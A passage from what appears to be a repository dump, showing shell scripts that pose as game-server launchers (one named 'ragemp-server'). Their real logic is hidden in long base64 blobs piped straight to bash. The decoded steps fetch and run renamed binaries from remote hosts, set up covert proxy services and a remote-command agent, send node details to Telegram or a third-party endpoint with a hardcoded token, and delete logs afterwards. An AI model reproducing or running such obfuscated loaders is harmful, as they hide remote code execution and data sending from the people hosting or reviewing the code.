vbiBhdXRvIC0tbm8tYXV0b3VwZGF0ZSAtLXByb3RvY29sIGh0dHAyIC0tbG9nZmlsZSBib290LmxvZyAtLWxvZ2xldmVsIGluZm8gLS11cmwgaHR0cDovL2xvY2FsaG9zdDokQVJHT19QT1JUIgogICAgZmkKICAgIG5vaHVwIC4vIiQoYmFzZW5hbWUgJHtGSUxFX01BUFtib3RdfSkiICRhcmdzID4vZGV2L251bGwgMj4mMSAmCiAgICBzbGVlcCAyCiAgICBlY2hvIC1lICJcZVsxOzMybSQoYmFzZW5hbWUgJHtGSUxFX01BUFtib3RdfSkgaXMgcnVubmluZ1xlWzBtIiAKZmkKCmlmIFsgLW4gIiRORVpIQV9TRVJWRVIiIF0gJiYgWyAtbiAiJE5FWkhBX1BPUlQiIF0gJiYgWyAtbiAiJE5FWkhBX0tFWSIgXTsgdGhlbgogICAgaWYgWyAtZSAiJChiYXNlbmFtZSAke0ZJTEVfTUFQW25wbV19KSIgXTsgdGhlbgoJICB0bHNQb3J0cz0oIjQ0MyIgIjg0NDMiICIyMDk2IiAiMjA4NyIgIjIwODMiICIyMDUzIikKICAgICAgW1sgIiR7dGxzUG9ydHNbKl19IiA9fiAiJHtORVpIQV9QT1JUfSIgXV0gJiYgTkVaSEFfVExTPSItLXRscyIgfHwgTkVaSEFfVExTPSIiCiAgICAgIGV4cG9ydCBUTVBESVI9JChwd2QpCiAgICAgIG5vaHVwIC4vIiQoYmFzZW5hbWUgJHtGSUxFX01BUFtucG1dfSkiIC1zICR7TkVaSEFfU0VSVkVSfToke05FWkhBX1BPUlR9IC1wICR7TkVaSEFfS0VZfSAke05FWkhBX1RMU30gPi9kZXYvbnVsbCAyPiYxICYKICAgICAgc2xlZXAgMgogICAgICBlY2hvIC1lICJcZVsxOzMybSQoYmFzZW5hbWUgJHtGSUxFX01BUFtucG1dfSkgaXMgcnVubmluZ1xlWzBtIgogICAgZmkKZWxpZiBbIC1uICIkTkVaSEFfU0VSVkVSIiBdICYmIFsgLW4gIiRORVpIQV9LRVkiIF07IHRoZW4KICAgIGlmIFsgLWUgIiQoYmFzZW5hbWUgJHtGSUxFX01BUFtwaHBdfSkiIF07IHRoZW4KICAgICAgbm9odXAgLi8iJChiYXNlbmFtZSAke0ZJTEVfTUFQW3BocF19KSIgLWMgIiR7RklMRV9QQVRIfS9jb25maWcueWFtbCIgPi9kZXYvbnVsbCAyPiYxICYKICAgICAgZWNobyAtZSAiXGVbMTszMm0kKGJhc2VuYW1lICR7RklMRV9NQVBbcGhwXX0pIGlzIHJ1bm5pbmdcZVswbSIKICAgIGZpCmVsc2UKICAgIGVjaG8gLWUgIlxlWzE7MzVtTkVaSEEgdmFyaWFibGUgaXMgZW1wdHksIHNraXBwaW5nIHJ1bm5pbmdcZVswbSIKZmkKZm9yIGtleSBpbiAiJHshRklMRV9NQVBbQF19IjsgZG8KICAgIGlmIFsgLWUgIiQoYmFzZW5hbWUgJHtGSUxFX01BUFska2V5XX0pIiBdOyB0aGVuCiAgICAgICAgcm0gLXJmICIkKGJhc2VuYW1lICR7RklMRV9NQVBbJGtleV19KSIgPi9kZXYvbnVsbCAyPiYxCiAgICBmaQpkb25lCn0KZG93bmxvYWRfYW5kX3J1bgoKZ2V0X2FyZ29kb21haW4oKSB7CiAgaWYgW1sgLW4gJEFSR09fQVVUSCBdXTsgdGhlbgogICAgZWNobyAiJEFSR09fRE9NQUlOIgogIGVsc2UKICAgIGxvY2FsIHJldHJ5PTAKICAgIGxvY2FsIG1heF9yZXRyaWVzPTYKICAgIGxvY2FsIGFyZ29kb21haW49IiIKICAgIHdoaWxlIFtbICRyZXRyeSAtbHQgJG1heF9yZXRyaWVzIF1dOyBkbwogICAgICAoKHJldHJ5KyspKQogICAgICBhcmdvZG9tYWluPSQoc2VkIC1uICdzfC4qaHR0cHM6Ly9cKFteL10qdHJ5Y2xvdWRmbGFyZVwuY29tXCkuKnxcMXxwJyBib290LmxvZykKICAgICAgaWYgW1sgLW4gJGFyZ29kb21haW4gXV07IHRoZW4KICAgICAgICBicmVhawogICAgICBmaQogICAgICBzbGVlcCAxCiAgICBkb25lCiAgICBlY2hvICIkYXJnb2RvbWFpbiIKICBmaQp9CgpzZW5kX3RlbGVncmFtKCkgewogIFsgLWYgIiR7RklMRV9QQVRIfS9zdWIudHh0IiBdIHx8IHJldHVybgogIE1FU1NBR0U9JChjYXQgIiR7RklMRV9QQVRIfS9zdWIudHh0IikKICBMT0NBTF9NRVNTQUdFPSIqJHtOQU1FfeiKgueCueaOqOmAgemAmuefpSpcYFxgXGAke01FU1NBR0V9XGBcYFxgIgogIEJPVF9NRVNTQUdFPSI8Yj4ke05BTUV96IqC54K55o6o6YCB6YCa55+lPC9iPlxuPHByZT4ke01FU1NBR0V9PC9wcmU+IgogIGlmIFsgLW4gIiR7Qk9UX1RPS0VOfSIgXSAmJiBbIC1uICIke0NIQVRfSUR9IiBdOyB0aGVuCiAgICBjdXJsIC1zIC1YIFBPU1QgImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3Qke0JPVF9UT0tFTn0vc2VuZE1lc3NhZ2UiIFwKICAgICAgLWQgImNoYXRfaWQ9JHtDSEFUX0lEfSZ0ZXh0PSR7TE9DQUxfTUVTU0FHRX0mcGFyc2VfbW9kZT1NYXJrZG93biIgPiAvZGV2L251bGwKCiAgZWxpZiBbIC1uICIke0NIQVRfSUR9IiBdOyB0aGVuCiAgICBjdXJsIC1zIC1YIFBPU1QgImh0dHA6Ly9hcGkudGcuZ3ZyYW5kZXIuZXUub3JnL2FwaS9ub3RpZnkiIFwKICAgICAgLUggIkF1dGhvcml6YXRpb246IEJlYXJlciBlSldSZ3hDNExjem5LTGlVaURvVXN3QG5NZ0RCQ0NTVWs2SXcwUzlQYnMiIFwKICAgICAgLUggIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbiIgXAogICAgICAtZCAiJChwcmludGYgJ3siY2hhdF9pZCI6ICIlcyIsICJtZXNzYWdlIjogIiVzIn0nICIke0NIQVRfSUR9IiAiJHtCT1RfTUVTU0FHRX0iKSIgPiAvZGV2L251bGwKICBlbHNlCiAgICBlY2hvIC1lICJcblxlWzE7MzVtVEcgdmFyaWFibGUgaXMgZW1wdHksc2tpcHBpbmcgc2VudFxlWzBtIgogICAgcmV0dXJuCiAgZmkKCiAgaWYgWyAkPyAtZXEgMCBdOyB0aGVuCiAgICBlY2hvIC1lICJcblxlWzE7MzJtTm9kZXMgc2VudCB0byBURyBzdWNjZXNzZnVsbHlcZVswbSIKICBlbHNlCiAgICBlY2hvIC1lICJcblxlWzE7MzFtRmFpbGVkIHRvIHNlbmQgbm9kZXMgdG8gVEdcZVswbSIKICBmaQp9Cgp1cGxvZF9ub2RlcygpIHsKICAgIFtbIC16ICRVUExPQURfVVJMIHx8ICEgLWYgIiR7RklMRV9QQVRIfS9saXN0LnR4dCIgXV0gJiYgcmV0dXJuCiAgICBjb250ZW50PSQoY2F0ICR7RklMRV9QQVRIfS9saXN0LnR4dCkKICAgIG5vZGVzPSQoZWNobyAiJGNvbnRlbnQiIHwgZ3JlcCAtRSAnKHZsZXNzfHZtZXNzfHRyb2phbnxoeXN0ZXJpYTJ8dHVpYyk6Ly8nKQogICAgW1sgLXogJG5vZGVzIF1dICYmIHJldHVybgogICAgbm9kZXM9KCRub2RlcykKICAgIGpzb25fZGF0YT0neyJub2RlcyI6IFsnCiAgICBmb3Igbm9kZSBpbiAiJHtub2Rlc1tAXX0iOyBkbwogICAgICAgIGpzb25fZGF0YSs9IlwiJG5vZGVcIiwiCiAgICBkb25lCiAgICBqc29uX2RhdGE9JHtqc29uX2RhdGElLH0KICAgIGpzb25fZGF0YSs9J119JwoKICAgIGN1cmwgLVggUE9TVCAiJFVQTE9BRF9VUkwvYXBpL2FkZC1ub2RlcyIgXAogICAgICAgICAtSCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uIiBcCiAgICAgICAgIC1kICIkanNvbl9kYXRhIiA+IC9kZXYvbnVsbCAyPiYxCgogICAgaWYgW1sgJD8gLWVxIDAgXV07IHRoZW4KICAgICAgICBlY2hvIC1lICJcMDMzWzE7MzJtTm9kZXMgdXBsb2FkZWQgc3VjY2Vzc2Z1bGx5XDAzM1swbSIKICAgIGVsc2UKICAgICAgICBlY2hvIC1lICJcMDMzWzE7MzFtRmFpbGVkIHRvIHVwbG9hZCBub2Rlc1wwMzNbMG0iCiAgICBmaQp9CgphcmdvZG9tYWluPSQoZ2V0X2FyZ29kb21haW4pCmVjaG8gLWUgIlxlWzE7MzJtQXJnb0RvbWFpbjpcZVsxOzM1bSR7YXJnb2RvbWFpbn1cZVswbVxuIgpzbGVlcCAxCklQPSQoY3VybCAtcyAtLW1heC10aW1lIDIgaXB2NC5pcC5zYiB8fCBjdXJsIC1zIC0tbWF4LXRpbWUgMSBhcGkuaXBpZnkub3JnIHx8IHsgaXB2Nj0kKGN1cmwgLXMgLS1tYXgtdGltZSAxIGlwdjYuaXAuc2IpOyBlY2hvICJbJGlwdjZdIjsgfSB8fCBlY2hvICJYWFgiKQpJU1A9JChjdXJsIC1zIC0tbWF4LXRpbWUgMiBodHRwczovL3NwZWVkLmNsb3VkZmxhcmUuY29tL21ldGEgfCBhd2sgLUZcIiAne3ByaW50ICQyNiItIiQxOH0nIHwgc2VkIC1lICdzLyAvXy9nJyB8fCBlY2hvICIwLjAiKQoKVk1FU1M9InsgXCJ2XCI6IFwiMlwiLCBcInBzXCI6IFwiJHtOQU1FfS0ke0lTUH1cIiwgXCJhZGRcIjogXCIke0NGSVB9XCIsIFwicG9ydFwiOiBcIiR7Q0ZQT1JUfVwiLCBcImlkXCI6IFwiJHtVVUlEfVwiLCBcImFpZFwiOiBcIjBcIiwgXCJzY3lcIjogXCJub25lXCIsIFwibmV0XCI6IFwid3NcIiwgXCJ0eXBlXCI6IFwibm9uZVwiLCBcImhvc3RcIjogXCIke2FyZ29kb21haW59XCIsIFwicGF0aFwiOiBcIi92bWVzcy1hcmdvP2VkPTI1NjBcIiwgXCJ0bHNcIjogXCJ0bHNcIiwgXCJzbmlcIjogXCIke2FyZ29kb21haW59XCIsIFwiYWxwblwiOiBcIlwiLCBcImZwXCI6IFwiY2hyb21lXCJ9IgoKY2F0ID4gJHtGSUxFX1BBVEh9L2xpc3QudHh0IDw8RU9GCnZtZXNzOi8vJChlY2hvICIkVk1FU1MiIHwgYmFzZTY0IC13MCkKRU9GCgppZiBbICIkVFVJQ19QT1JUIiAhPSAiNDAwMDAiIF07IHRoZW4KICBlY2hvIC1lICJcbnR1aWM6Ly8ke1VVSUR9OmFkbWluQCR7SVB9OiR7VFVJQ19QT1JUfT9zbmk9d3d3LmJpbmcuY29tJmFscG49aDMmY29uZ2VzdGlvbl9jb250cm9sPWJiciMke05BTUV9LSR7SVNQfSIgPj4gJHtGSUxFX1BBVEh9L2xpc3QudHh0CmZpCgppZiBbICIkSFkyX1BPUlQiICE9ICI1MDAwMCIgXTsgdGhlbgogIGVjaG8gLWUgIlxuaHlzdGVyaWEyOi8vJHtVVUlEfUAke0lQfToke0hZMl9QT1JUfS8/c25pPXd3dy5iaW5nLmNvbSZhbHBuPWgzJmluc2VjdXJlPTEjJHtOQU1FfS0ke0lTUH0iID4+ICR7RklMRV9QQVRIfS9saXN0LnR4dApmaQoKaWYgWyAiJFJFQUxJVFlfUE9SVCIgIT0gIjYwMDAwIiBdOyB0aGVuCiAgZWNobyAtZSAiXG52bGVzczovLyR7VVVJRH1AJHtJUH06JHtSRUFMSVRZX1BPUlR9P2VuY3J5cHRpb249bm9uZSZmbG93PXh0bHMtcnByeC12aXNpb24mc2VjdXJpdHk9cmVhbGl0eSZzbmk9d3d3Lm5hemh1bWkuY29tJmZwPWNocm9tZSZwYms9JHtwdWJsaWNfa2V5fSZ0eXBlPXRjcCZoZWFkZXJUeXBlPW5vbmUjJHtOQU1FfS0ke0lTUH0iID4+ICR7RklMRV9QQVRIfS9saXN0LnR4dApmaQoKYmFzZTY0IC13MCAke0ZJTEVfUEFUSH0vbGlzdC50eHQgPiAke0ZJTEVfUEFUSH0vc3ViLnR4dApjYXQgJHtGSUxFX1BBVEh9L3N1Yi50eHQKZWNobyAtZSAiXG5cblxlWzE7MzJtJHtGSUxFX1BBVEh9L3N1Yi50eHQgc2F2ZWQgc3VjY2Vzc2Z1bGx5XGVbMG0iCnVwbG9kX25vZGVzCnNlbmRfdGVsZWdyYW0KZWNobyAtZSAiXG5cZVsxOzMybVJ1bm5pbmcgZG9uZSFcZVswbVxuIgpzbGVlcCAxMiAKY2xlYXIKCnJtIC1yZiBib290LmxvZyBjb25maWcuanNvbiBzYi5sb2cgY29yZSBmYWtlX3VzZXJhZ2VudF8wLjIuMC5qc29uICR7RklMRV9QQVRIfS9saXN0LnR4dCA+L2Rldi9udWxsIDI+JjE=" | base64 -d | bash 22 | 23 | chmod +x ${GAME_FILE} && java -jar ${GAME_FILE} 24 | 25 | # tail -f /dev/null 26 | -------------------------------------------------------------------------------- /sing-box游戏机/ragemp-server: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | export UUID=${UUID:-'bc97f674-c578-4940-9234-0a1da46041b9'} # 哪吒v1,在不同的平台需要改UUID,否则会覆盖 3 | export NEZHA_SERVER=${NEZHA_SERVER:-''} # v1哪吒填写形式:nezha.abc.com:8008,v0哪吒填写形式:nezha.abc.com 4 | export NEZHA_PORT=${NEZHA_PORT:-''} # v1哪吒不要填写这个,v0哪吒agent端口为{443,8443,2053,2083,2087,2096}其中之一时自动开启tls 5 | export NEZHA_KEY=${NEZHA_KEY:-''} # v1的NZ_CLIENT_SECRET或v0的agent密钥 6 | export ARGO_DOMAIN=${ARGO_DOMAIN:-''} # 固定隧道域名,留空即启用临时隧道 7 | export ARGO_AUTH=${ARGO_AUTH:-''} # 固定隧道token或json,留空即启用临时隧道 8 | export CFIP=${CFIP:-'www.visa.com.tw'} # argo节点优选域名或优选ip 9 | export CFPORT=${CFPORT:-'443'} # argo节点端口 10 | export NAME=${NAME:-'MC'} # 节点名称 11 | export FILE_PATH=${FILE_PATH:-'./bin'} # sub 路径 12 | export ARGO_PORT=${ARGO_PORT:-'8001'} # argo端口 使用固定隧道token,cloudflare后台设置的端口需和这里对应 13 | export TUIC_PORT=${TUIC_PORT:-'40000'} # Tuic 端口,支持多端口玩具可填写,否则不动 14 | export HY2_PORT=${HY2_PORT:-'50000'} # Hy2 端口,支持多端口玩具可填写,否则不动 15 | export REALITY_PORT=${REALITY_PORT:-'60000'} # reality 端口,支持多端口玩具可填写,否则不动 16 | export GAME_FILE=${GAME_FILE:-'LICENSE'} # 填写游戏文件名,不填写不启动游戏,无法运行 17 | export CHAT_ID=${CHAT_ID:-''} # TG chat_id,可在https://t.me/laowang_serv00_bot 获取 18 | export BOT_TOKEN=${BOT_TOKEN:-''} # TG bot_token, 使用自己的bot需要填写,使用上方的bot不用填写,不会给别人发送 19 | export UPLOAD_URL=${UPLOAD_URL:-''} # 订阅自动上传地址,没有可不填,需要填部署Merge-sub项目后的首页地址,例如:https://merge.serv00.net 20 | 21 | echo "ZGVsZXRlX29sZF9ub2RlcygpIHsKICBbWyAteiAkVVBMT0FEX1VSTCB8fCAhIC1mICIke0ZJTEVfUEFUSH0vc3ViLnR4dCIgXV0gJiYgcmV0dXJuCiAgb2xkX25vZGVzPSQoYmFzZTY0IC1kICIke0ZJTEVfUEFUSH0vc3ViLnR4dCIgfCBncmVwIC1FICcodmxlc3N8dm1lc3N8dHJvamFufGh5c3RlcmlhMnx0dWljKTovLycpCiAgW1sgLXogJG9sZF9ub2RlcyBdXSAmJiByZXR1cm4KCiAganNvbl9kYXRhPSd7Im5vZGVzIjogWycKICBmb3Igbm9kZSBpbiAkb2xkX25vZGVzOyBkbwogICAgICBqc29uX2RhdGErPSJcIiRub2RlXCIsIgogIGRvbmUKICBqc29uX2RhdGE9JHtqc29uX2RhdGElLH0gIAogIGpzb25fZGF0YSs9J119JwoKICBjdXJsIC1YIERFTEVURSAiJFVQTE9BRF9VUkwvYXBpL2RlbGV0ZS1ub2RlcyIgXAogICAgICAgIC1IICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24iIFwKICAgICAgICAtZCAiJGpzb25fZGF0YSIgPiAvZGV2L251bGwgMj4mMQp9CmRlbGV0ZV9vbGRfbm9kZXMKClsgISAtZCAiJHtGSUxFX1BBVEh9IiBdICYmIG1rZGlyIC1wICIke0ZJTEVfUEFUSH0iICYmIHJtIC1yZiBib290LmxvZyBjb25maWcuanNvbiB0dW5uZWwuanNvbiB0dW5uZWwueW1sICIke0ZJTEVfUEFUSH0vc3ViLnR4dCIgPi9kZXYvbnVsbCAyPiYxCgoKYXJnb19jb25maWd1cmUoKSB7CiAgaWYgW1sgLXogJEFSR09fQVVUSCB8fCAteiAkQVJHT19ET01BSU4gXV07IHRoZW4KICAgIGVjaG8gLWUgIlxlWzE7MzJtQVJHT19ET01BSU4gb3IgQVJHT19BVVRIIHZhcmlhYmxlIGlzIGVtcHR5LCB1c2UgcXVpY2sgdHVubmVsc1xlWzBtIiAgIAogICAgcmV0dXJuCiAgZmkKCiAgaWYgW1sgJEFSR09fQVVUSCA9fiBUdW5uZWxTZWNyZXQgXV07IHRoZW4KICAgIGVjaG8gJEFSR09fQVVUSCA+IHR1bm5lbC5qc29uCiAgICBjYXQgPiB0dW5uZWwueW1sIDw8IEVPRgp0dW5uZWw6ICQoY3V0IC1kXCIgLWYxMiA8PDwgIiRBUkdPX0FVVEgiKQpjcmVkZW50aWFscy1maWxlOiB0dW5uZWwuanNvbgpwcm90b2NvbDogaHR0cDIKCmluZ3Jlc3M6CiAgLSBob3N0bmFtZTogJEFSR09fRE9NQUlOCiAgICBzZXJ2aWNlOiBodHRwOi8vbG9jYWxob3N0OiRBUkdPX1BPUlQKICAgIG9yaWdpblJlcXVlc3Q6CiAgICAgIG5vVExTVmVyaWZ5OiB0cnVlCiAgLSBzZXJ2aWNlOiBodHRwX3N0YXR1czo0MDQKRU9GCiAgZWxzZQogICAgZWNobyAtZSAiXGVbMTszMm1BUkdPX0FVVEggbWlzbWF0Y2ggVHVubmVsU2VjcmV0LHVzZSB0b2tlbiBjb25uZWN0IHRvIHR1bm5lbFxlWzBtIgogIGZpCn0KYXJnb19jb25maWd1cmUKd2FpdAoKZG93bmxvYWRfYW5kX3J1bigpIHsKQVJDSD0kKHVuYW1lIC1tKSAmJiBET1dOTE9BRF9ESVI9Ii4iICYmIG1rZGlyIC1wICIkRE9XTkxPQURfRElSIiAmJiBGSUxFX0lORk89KCkKaWYgWyAiJEFSQ0giID09ICJhcm0iIF0gfHwgWyAiJEFSQ0giID09ICJhcm02NCIgXSB8fCBbICIkQVJDSCIgPT0gImFhcmNoNjQiIF07IHRoZW4KICAgIEJBU0VfVVJMPSJodHRwczovL2FybTY0LnNzc3MubnljLm1uIgplbGlmIFsgIiRBUkNIIiA9PSAiYW1kNjQiIF0gfHwgWyAiJEFSQ0giID09ICJ4ODZfNjQiIF0gfHwgWyAiJEFSQ0giID09ICJ4ODYiIF07IHRoZW4KICAgIEJBU0VfVVJMPSJodHRwczovL2FtZDY0LnNzc3MubnljLm1uIgplbHNlCiAgICBlY2hvICJVbnN1cHBvcnRlZCBhcmNoaXRlY3R1cmU6ICRBUkNIIgogICAgZXhpdCAxCmZpCkZJTEVfSU5GTz0oIiRCQVNFX1VSTC9zYiB3ZWIiICIkQkFTRV9VUkwvYm90IGJvdCIpCgppZiBbIC1uICIkTkVaSEFfUE9SVCIgXTsgdGhlbgogICAgRklMRV9JTkZPKz0oIiRCQVNFX1VSTC9hZ2VudCBucG0iKQplbHNlCiAgICBGSUxFX0lORk8rPSgiJEJBU0VfVVJML3YxIHBocCIpCiAgICBORVpIQV9UTFM9JChjYXNlICIke05FWkhBX1NFUlZFUiMjKjp9IiBpbiA0NDN8ODQ0M3wyMDk2fDIwODd8MjA4M3wyMDUzKSBlY2hvIC1uIHRydWU7OyAqKSBlY2hvIC1uIGZhbHNlOzsgZXNhYykKICAgIGNhdCA+ICIke0ZJTEVfUEFUSH0vY29uZmlnLnlhbWwiIDw8IEVPRgpjbGllbnRfc2VjcmV0OiAke05FWkhBX0tFWX0KZGVidWc6IGZhbHNlCmRpc2FibGVfYXV0b191cGRhdGU6IHRydWUKZGlzYWJsZV9jb21tYW5kX2V4ZWN1dGU6IGZhbHNlCmRpc2FibGVfZm9yY2VfdXBkYXRlOiB0cnVlCmRpc2FibGVfbmF0OiBmYWxzZQpkaXNhYmxlX3NlbmRfcXVlcnk6IGZhbHNlCmdwdTogZmFsc2UKaW5zZWN1cmVfdGxzOiBmYWxzZQppcF9yZXBvcnRfcGVyaW9kOiAxODAwCnJlcG9ydF9kZWxheTogMQpzZXJ2ZXI6ICR7TkVaSEFfU0VSVkVSfQpza2lwX2Nvbm5lY3Rpb25fY291bnQ6IGZhbHNlCnNraXBfcHJvY3NfY291bnQ6IGZhbHNlCnRlbXBlcmF0dXJlOiBmYWxzZQp0bHM6ICR7TkVaSEFfVExTfQp1c2VfZ2l0ZWVfdG9fdXBncmFkZTogZmFsc2UKdXNlX2lwdjZfY291bnRyeV9jb2RlOiBmYWxzZQp1dWlkOiAke1VVSUR9CkVPRgpmaQpkZWNsYXJlIC1BIEZJTEVfTUFQCmdlbmVyYXRlX3JhbmRvbV9uYW1lKCkgewogICAgbG9jYWwgY2hhcnM9YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY3ODkwCiAgICBsb2NhbCBuYW1lPSIiCiAgICBmb3IgaSBpbiB7MS4uNn07IGRvCiAgICAgICAgbmFtZT0iJG5hbWUke2NoYXJzOlJBTkRPTSUkeyNjaGFyc306MX0iCiAgICBkb25lCiAgICBlY2hvICIkbmFtZSIKfQpkb3dubG9hZF9maWxlKCkgewogICAgbG9jYWwgVVJMPSQxCiAgICBsb2NhbCBORVdfRklMRU5BTUU9JDIKCiAgICBpZiBjb21tYW5kIC12IGN1cmwgPi9kZXYvbnVsbCAyPiYxOyB0aGVuCiAgICAgICAgY3VybCAtTCAtc1MgLW8gIiRORVdfRklMRU5BTUUiICIkVVJMIgogICAgICAgIGVjaG8gLWUgIlxlWzE7MzJtRG93bmxvYWRlZCAkTkVXX0ZJTEVOQU1FIGJ5IGN1cmxcZVswbSIKICAgIGVsaWYgY29tbWFuZCAtdiB3Z2V0ID4vZGV2L251bGwgMj4mMTsgdGhlbgogICAgICAgIHdnZXQgLXEgLU8gIiRORVdfRklMRU5BTUUiICIkVVJMIgogICAgICAgIGVjaG8gLWUgIlxlWzE7MzJtRG93bmxvYWRlZCAkTkVXX0ZJTEVOQU1FIGJ5IHdnZXRcZVswbSIKICAgIGVsc2UKICAgICAgICBlY2hvIC1lICJcZVsxOzMzbU5laXRoZXIgY3VybCBub3Igd2dldCBpcyBhdmFpbGFibGUgZm9yIGRvd25sb2FkaW5nXGVbMG0iCiAgICAgICAgZXhpdCAxCiAgICBmaQp9CmZvciBlbnRyeSBpbiAiJHtGSUxFX0lORk9bQF19IjsgZG8KICAgIFVSTD0kKGVjaG8gIiRlbnRyeSIgfCBjdXQgLWQgJyAnIC1mIDEpCiAgICBSQU5ET01fTkFNRT0kKGdlbmVyYXRlX3JhbmRvbV9uYW1lKQogICAgTkVXX0ZJTEVOQU1FPSIkRE9XTkxPQURfRElSLyRSQU5ET01fTkFNRSIKICAgIAogICAgZG93bmxvYWRfZmlsZSAiJFVSTCIgIiRORVdfRklMRU5BTUUiCiAgICAKICAgIGNobW9kICt4ICIkTkVXX0ZJTEVOQU1FIgogICAgRklMRV9NQVBbJChlY2hvICIkZW50cnkiIHwgY3V0IC1kICcgJyAtZiAyKV09IiRORVdfRklMRU5BTUUiCmRvbmUKd2FpdAoKb3V0cHV0PSQoLi8iJChiYXNlbmFtZSAke0ZJTEVfTUFQW3dlYl19KSIgZ2VuZXJhdGUgcmVhbGl0eS1rZXlwYWlyKQpwcml2YXRlX2tleT0kKGVjaG8gIiR7b3V0cHV0fSIgfCBhd2sgJy9Qcml2YXRlS2V5Oi8ge3ByaW50ICQyfScpCnB1YmxpY19rZXk9JChlY2hvICIke291dHB1dH0iIHwgYXdrICcvUHVibGljS2V5Oi8ge3ByaW50ICQyfScpCgpvcGVuc3NsIGVjcGFyYW0gLWdlbmtleSAtbmFtZSBwcmltZTI1NnYxIC1vdXQgInByaXZhdGUua2V5IgpvcGVuc3NsIHJlcSAtbmV3IC14NTA5IC1kYXlzIDM2NTAgLWtleSAicHJpdmF0ZS5rZXkiIC1vdXQgImNlcnQucGVtIiAtc3ViaiAiL0NOPWJpbmcuY29tIgoKICBjYXQgPiBjb25maWcuanNvbiA8PCBFT0YKewogICAgImxvZyI6IHsKICAgICAgICAiZGlzYWJsZWQiOiB0cnVlLAogICAgICAgICJsZXZlbCI6ICJlcnJvciIsCiAgICAgICAgInRpbWVzdGFtcCI6IHRydWUKICAgIH0sCiAgICAiZG5zIjogewogICAgICAgICJzZXJ2ZXJzIjogWwogICAgICAgIHsKICAgICAgICAgICJ0YWciOiAiZ29vZ2xlIiwKICAgICAgICAgICJhZGRyZXNzIjogInRsczovLzguOC44LjgiCiAgICAgICAgfQogICAgICBdCiAgICB9LAogICAgImluYm91bmRzIjogWwogICAgewogICAgICAidGFnIjogInZtZXNzLXdzLWluIiwKICAgICAgInR5cGUiOiAidm1lc3MiLAogICAgICAibGlzdGVuIjogIjo6IiwKICAgICAgImxpc3Rlbl9wb3J0IjogJHtBUkdPX1BPUlR9LAogICAgICAgICJ1c2VycyI6IFsKICAgICAgICB7CiAgICAgICAgICAidXVpZCI6ICIke1VVSUR9IgogICAgICAgIH0KICAgICAgXSwKICAgICAgInRyYW5zcG9ydCI6IHsKICAgICAgICAidHlwZSI6ICJ3cyIsCiAgICAgICAgInBhdGgiOiAiL3ZtZXNzLWFyZ28iLAogICAgICAgICJlYXJseV9kYXRhX2hlYWRlcl9uYW1lIjogIlNlYy1XZWJTb2NrZXQtUHJvdG9jb2wiCiAgICAgIH0KICAgIH0sCiAgICB7CiAgICAgICJ0YWciOiAidHVpYy1pbiIsCiAgICAgICJ0eXBlIjogInR1aWMiLAogICAgICAibGlzdGVuIjogIjo6IiwKICAgICAgImxpc3Rlbl9wb3J0IjogJHtUVUlDX1BPUlR9LAogICAgICAidXNlcnMiOiBbCiAgICAgICAgewogICAgICAgICAgInV1aWQiOiAiJHtVVUlEfSIsCiAgICAgICAgICAicGFzc3dvcmQiOiAiYWRtaW4iCiAgICAgICAgfQogICAgICBdLAogICAgICAiY29uZ2VzdGlvbl9jb250cm9sIjogImJiciIsCiAgICAgICJ0bHMiOiB7CiAgICAgICAgImVuYWJsZWQiOiB0cnVlLAogICAgICAgICJhbHBuIjogWwogICAgICAgICAgImgzIgogICAgICAgIF0sCiAgICAgICAgImNlcnRpZmljYXRlX3BhdGgiOiAiY2VydC5wZW0iLAogICAgICAgICJrZXlfcGF0aCI6ICJwcml2YXRlLmtleSIKICAgICAgfQogICAgfSwKICAgIHsKICAgICAgInRhZyI6ICJoeXN0ZXJpYTItaW4iLAogICAgICAidHlwZSI6ICJoeXN0ZXJpYTIiLAogICAgICAibGlzdGVuIjogIjo6IiwKICAgICAgImxpc3Rlbl9wb3J0IjogJHtIWTJfUE9SVH0sCiAgICAgICAgInVzZXJzIjogWwogICAgICAgICAgewogICAgICAgICAgICAgInBhc3N3b3JkIjogIiR7VVVJRH0iCiAgICAgICAgICB9CiAgICAgIF0sCiAgICAgICJtYXNxdWVyYWRlIjogImh0dHBzOi8vYmluZy5jb20iLAogICAgICAgICJ0bHMiOiB7CiAgICAgICAgICAgICJlbmFibGVkIjogdHJ1ZSwKICAgICAgICAgICAgImFscG4iOiBbCiAgICAgICAgICAgICAgICAiaDMiCiAgICAgICAgICAgIF0sCiAgICAgICAgICAgICJjZXJ0aWZpY2F0ZV9wYXRoIjogImNlcnQucGVtIiwKICAgICAgICAgICAgImtleV9wYXRoIjogInByaXZhdGUua2V5IgogICAgICAgICAgfQogICAgICB9LAogICAgICB7CiAgICAgICAgInRhZyI6ICJ2bGVzcy1yZWFsaXR5LXZlc2lvbiIsCiAgICAgICAgInR5cGUiOiAidmxlc3MiLAogICAgICAgICJsaXN0ZW4iOiAiOjoiLAogICAgICAgICJsaXN0ZW5fcG9ydCI6ICRSRUFMSVRZX1BPUlQsCiAgICAgICAgICAidXNlcnMiOiBbCiAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgInV1aWQiOiAiJFVVSUQiLAogICAgICAgICAgICAgICAgImZsb3ciOiAieHRscy1ycHJ4LXZpc2lvbiIKICAgICAgICAgICAgICB9CiAgICAgICAgICBdLAogICAgICAgICAgInRscyI6IHsKICAgICAgICAgICAgICAiZW5hYmxlZCI6IHRydWUsCiAgICAgICAgICAgICAgInNlcnZlcl9uYW1lIjogInd3dy5uYXpodW1pLmNvbSIsCiAgICAgICAgICAgICAgInJlYWxpdHkiOiB7CiAgICAgICAgICAgICAgICAgICJlbmFibGVkIjogdHJ1ZSwKICAgICAgICAgICAgICAgICAgImhhbmRzaGFrZSI6IHsKICAgICAgICAgICAgICAgICAgICAgICJzZXJ2ZXIiOiAid3d3Lm5hemh1bWkuY29tIiwKICAgICAgICAgICAgICAgICAgICAgICJzZXJ2ZXJfcG9ydCI6IDQ0MwogICAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgICAicHJpdmF0ZV9rZXkiOiAiJHByaXZhdGVfa2V5IiwKICAgICAgICAgICAgICAgICAgInNob3J0X2lkIjogWwogICAgICAgICAgICAgICAgICAgICIiCiAgICAgICAgICAgICAgICAgIF0KICAgICAgICAgI